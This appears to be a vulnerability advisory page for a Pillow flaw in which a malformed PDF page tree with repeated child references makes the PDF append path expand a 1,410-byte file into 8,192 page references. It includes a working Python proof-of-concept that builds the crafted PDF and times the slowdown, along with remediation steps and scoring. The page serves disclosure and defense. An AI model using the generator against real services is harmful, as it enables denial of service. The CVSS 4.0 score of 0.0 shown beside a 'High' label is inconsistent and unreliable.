GHSA-mrfp-p49p-3hf2 BIT-pillow-2026-96640 CVE-2026-96640
Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.60%
- Chance of exploitation in the next 30 days. Higher than 48.92% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
13.0.0- Upgrade pillow to this version or later
Description
Summary
Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.
An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.
In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.
This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.
Details
Affected versions
- Package:
Pillow - Ecosystem:
pip/ PyPI - Affected component:
src/PIL/PdfParser.pypage-tree traversal reached fromsrc/PIL/PdfImagePlugin.pyPDF append handling - Runtime-tested affected release:
12.3.0 - Runtime-tested affected development version:
13.0.0.dev0 - Tested commit:
b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Current source artifact hash:
sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054 - Release
12.3.0commit:bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Release
12.3.0source artifact hash:sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81 - Source-level affected:
5.1.0,12.2.0,12.3.0, andHEAD - Likely affected range:
>= 5.1.0 - Patched versions: none known
Evidence fact strings:
- Runtime-tested affected: 12.3.0
- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
- Source-level affected: 5.1.0
- Source-level affected: 12.2.0
- Source-level affected: HEAD
- Likely affected range: >= 5.1.0, no fixed version known
- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py
5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.
Technical details
The reachable path is:
-
A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:
Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) -
src/PIL/PdfImagePlugin.pyroutesappend=TruetoPdfParser:is_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") -
src/PIL/PdfParser.pyparses the existing PDF and linearizes the page tree:self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] -
linearize_page_tree()recursively follows every/Kidsentry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages -
During append,
rewrite_pages()then iterates the expandedorig_pageslist and scans/replaces entries inself.pages, adding more cost to the already expanded duplicate-reference list.
The missing invariant is:
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.
PoC
Environment used for validation:
- OS/runtime: Linux, Python
3.13.11 - Current tested build: Pillow
13.0.0.dev0, commitb39b9649312fbc381060e8c7c7f9f0de4cc63daa - Latest release tested: Pillow
12.3.0 - The proof uses only synthetic in-memory PDFs and does not contact the network.
Save this as poc_pillow_pdf_page_tree_dag.py:
#!/usr/bin/env python3
from __future__ import annotations
import io
import json
import sys
import time
from PIL import Image, PdfParser
import PIL
def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
if fanout not in (1, 2):
raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
for object_id in range(2, depth + 3):
next_id = object_id + 1
kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))
result = bytearray(b"%PDF-1.4\n")
offsets = [0]
for object_id, value in enumerate(objects, start=1):
offsets.append(len(result))
result.extend(f"{object_id} 0 obj\n".encode("ascii"))
result.extend(value)
result.extend(b"\nendobj\n")
xref_offset = len(result)
result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
result.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
result.extend(
f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
)
return bytes(result)
def run_case(depth: int, fanout: int) -> dict[str, object]:
payload = make_page_tree_pdf(depth, fanout)
expected_refs = fanout ** (depth + 1)
start = time.monotonic()
with PdfParser.PdfParser(buf=payload) as pdf:
observed_refs = len(pdf.pages)
distinct_refs = len(set(pdf.pages))
parse_seconds = time.monotonic() - start
output = io.BytesIO(payload)
start = time.monotonic()
Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
append_seconds = time.monotonic() - start
return {
"fanout": fanout,
"depth": depth,
"input_bytes": len(payload),
"expected_refs": expected_refs,
"observed_refs": observed_refs,
"distinct_refs": distinct_refs,
"parse_seconds": round(parse_seconds, 6),
"append_seconds": round(append_seconds, 6),
"output_bytes_after_append": len(output.getvalue()),
}
def main() -> int:
depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
if not 0 <= depth <= 16:
raise SystemExit("depth must be between 0 and 16")
linear = run_case(depth, fanout=1)
shared_dag = run_case(depth, fanout=2)
checks = {
"linear_control_stays_one_page": linear["observed_refs"] == 1,
"candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
== shared_dag["expected_refs"],
"candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
"candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
"append_path_processed_both_inputs": linear["output_bytes_after_append"]
> linear["input_bytes"]
and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
}
result = {
"pillow_version": PIL.__version__,
"pillow_file": PIL.__file__,
"depth": depth,
"linear_control": linear,
"shared_dag_candidate": shared_dag,
"checks": checks,
"overall_passed": all(checks.values()),
}
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["overall_passed"] else 1
if __name__ == "__main__":
raise SystemExit(main())
Run:
python3 poc_pillow_pdf_page_tree_dag.py
Expected result:
"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1
Observed on current main / 13.0.0.dev0:
1410-byte input -> 8192 observed page refs -> 9.563007s append
Observed on Pillow 12.3.0:
Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append
For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.
Impact
This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.
The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().
Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().
This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.
Remediation
Reject duplicate and cyclic page-tree references before constructing self.pages and self.orig_pages.
One possible fix is to pass traversal state through linearize_page_tree():
- Track active
/Pagesreferences to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references.
- Raise
PdfFormatErrorwhen the page tree is not an acyclic tree of unique indirect references.
Suggested regression tests:
- A small PDF whose
/Kidsarray repeats the same child/Pagesreference should raisePdfFormatErrorquickly when used throughImage.save(..., format="PDF", append=True). - A normal nested linear page tree should continue to append successfully.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pillow | >= 5.1.0, < 13.0.0 |
13.0.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pillow PyPI → 13.0.0
- pip
pip install --upgrade "pillow>=13.0.0"- poetry
poetry add "pillow>=13.0.0"- uv
uv add "pillow>=13.0.0"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-407: Inefficient Algorithmic Complexity
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| PYSEC-2023-175 Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). | High Known exploited | Also affects pillow |
| GHSA-j7hp-h8jx-5ppr libwebp: OOB write in BuildHuffmanTable | High Known exploited | Also affects pillow |
| GHSA-78g4-xqwv-q3g8 Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() | High | Also affects pillow |
| GHSA-654x-cwwv-5j9c Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 | Medium | Also affects pillow |
| GHSA-xvh5-g6gv-559v Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags | High | Also affects pillow |
| GHSA-g7cr-3p24-7wf7 Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer | High | Also affects pillow |
| GHSA-9v9v-9qvf-h2hj Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds) | High | Also affects pillow |
| GHSA-g4qv-2jxx-769h Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time | Medium | Also affects pillow |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor